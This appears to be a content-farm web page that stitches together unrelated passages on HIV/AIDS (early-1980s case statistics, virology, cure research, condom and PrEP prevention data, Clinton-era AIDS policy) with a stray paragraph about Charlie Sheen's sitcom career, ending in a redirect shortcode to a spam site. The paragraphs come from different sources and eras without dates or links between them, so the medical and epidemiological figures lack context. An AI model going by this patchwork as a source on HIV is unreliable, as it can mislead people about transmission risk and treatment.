Reitz MS, Gallo RC. Human immunodeficiency viruses. In: Bennett JE, Dolin R, Blaser MJ, eds. Mandell, Douglas, and Bennett’s Principles and Practice of Infectious Diseases. 8th ed. Philadelphia, PA: Elsevier Saunders; 2015:chap 171.
Approximately 75% of AIDS cases occured among homosexual or bisexual males (Table 3), among whom the reported prevalence of intravenous drug abuse was 12%. Among the 20% of known heterosexual cases (males and females), the prevalence of intravenous drug abuse was about 60%. Haitians residing in the United States constituted 6.1% of all cases (2), and 50% of the cases in which both homosexual activity and intravenous drug abuse were denied. Among the 14 AIDS cases involving males under 60 years old who were not homosexuals, intravenous drug abusers, or Haitians, two (14%) had hemophilia A.** (3)
Most PIs are associated with important drug-drug interactions so they must be used with caution in patients on other medications. There are numerous resources available to patients on these medications to make sure that they do not adversely interact with other HIV or non HIV-related drugs.
HIV, or human immunodeficiency virus, attacks the immune system by destroying white blood cells, which are vital to fighting infection. Once enough of these cells have been destroyed and the person has another “opportunistic” infection like pneumonia or tuberculosis, the diagnosis moves to the final stage of the infection, AIDS.
A retrovirus of the subfamily lentivirus that causes acquired immunodeficiency syndrome (AIDS). The most common type of HIV is HIV-1, identified in 1984. HIV-2, first discovered in West Africa in 1986, causes a loss of immune function and the subsequent development of opportunistic infections identical to those associated with HIV-1 infections. The two types developed from separate strains of simian immunodeficiency virus. In the U.S., the number of those infected with HIV-2 is very small, but blood donations are screened for both types of HIV.
Sheen rose to the top again with “Two and a Half Man,” playing free-spirited jingle writer Charlie Harper. The show was one of the highest-rated on television, and Sheen soon became the highest-paid actor on TV, eventually making close to $2 million an episode. But a rehab stint shut down production in 2010, and he and show creator Chuck Lorre were soon at loggerheads. Sheen was fired after the eighth season.
Gordon’s longevity, and the dozens of drugs he has taken to stay alive, exemplifies the experience of millions of infected AIDS patients. His state-of-the-art treatment costs almost a hundred thousand dollars a year. Although it’s covered by his insurance and by the State of California, he calls it “a ransom: your money or your life.” For Deeks, the question is “Can the world find the resources to build a system to deliver, on a daily basis, antiretroviral drugs to some thirty-five million people, many in very poor regions?” He is doubtful, which is why he is focussed on helping to find a cure. “Our philosophy is that in order to cure H.I.V., we need to know where and why it persists,” he said.
An alternative view holds that unsafe medical practices in Africa after World War II, such as unsterile reuse of single use syringes during mass vaccination, antibiotic and anti-malaria treatment campaigns, were the initial vector that allowed the virus to adapt to humans and spread.
In 1997, amid euphoria about HAART, people first started thinking seriously about a cure. Sooner or later, all infected cells die on their own. Could the right drugs in the right combination rout the virus for good? That year, David Ho published a paper in Nature in which he mathematically predicted that an H.I.V. patient on the HAART regimen should be able to conquer the detectable virus in twenty-eight to thirty-seven months. That issue also contained a very different report from Robert Siliciano, currently a Howard Hughes investigator at the Johns Hopkins School of Medicine. Using an uncommonly sensitive measurement technique that he’d invented, Siliciano located H.I.V. in a type of helper T cell that provides memory to our immune system and normally survives for decades. Memory T cells are uniquely important: they recognize the antigens in infections and orchestrate speedy responses. But the virus proved to be even cleverer. It lay dormant in strands of host DNA, untouched by the drug cocktail, later springing back to life and degrading the immune system.
Consistent condom use reduces the risk of HIV transmission by approximately 80% over the long term. When condoms are used consistently by a couple in which one person is infected, the rate of HIV infection is less than 1% per year. There is some evidence to suggest that female condoms may provide an equivalent level of protection. Application of a vaginal gel containing tenofovir (a reverse transcriptase inhibitor) immediately before sex seems to reduce infection rates by approximately 40% among African women. By contrast, use of the spermicide nonoxynol-9 may increase the risk of transmission due to its tendency to cause vaginal and rectal irritation.
Sexual abstinence is completely effective in eliminating sexual transmission, but educational campaigns have not been successful in promoting abstinence in at-risk populations. Monogamous sexual intercourse between two uninfected partners also eliminates sexual transmission of the virus. Using barrier methods, such as condoms, during sexual intercourse markedly reduces the risk of HIV transmission. These measures have had some success in blunting the rate of new cases, especially in high-risk areas such as sub-Saharan Africa or Haiti. As discussed above, medications may be used to reduce the risk of HIV infection if used within hours of an exposure. There also is data that if uninfected people can take antiretroviral medications, in particular tenofovir disoproxil fumarate plus emtricitabine (TDF/FTC or Truvada) once daily, that it markedly reduces the risk of sexual transmission. Perhaps the most effective way to reduce HIV transmission is for the HIV-infected partner to be on ART with undetectable levels of virus in their blood. As noted above, a pregnant woman with HIV can reduce the risk of passing the infection to her baby by taking medications during pregnancy and labor and avoiding breastfeeding.
Circumcision seems to reduce the risk of males acquiring HIV infection by about 50% by removing the penile mucosa (underside of foreskin), which is more susceptible to HIV infection than the keratinized, stratified squamous epithelium that covers the rest of the penis.
Like his predecessors, President bill clinton called for fighting the disease, rather than the people afflicted with it. In 1993, he appointed the first federal AIDS policy coordinator. He fully funded the Ryan White Care Act, increasing government support by 83 percent, to $633 million, and also increased funding for AIDS research, prevention, and treatment by 30 percent. These measures met most of his campaign promises on AIDS. He reneged on one: despite vowing to lift the ban on HIV-positive Aliens, he signed legislation continuing it. In addition, he met a major obstacle on another proposal: Congress failed to pass his health care reform package, which would have provided health coverage to all U.S. citizens with HIV, delivered drug treatment against AIDS on demand to intravenous drug users, and prohibited health plans from providing lower coverage for AIDS than for other life-threatening diseases. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]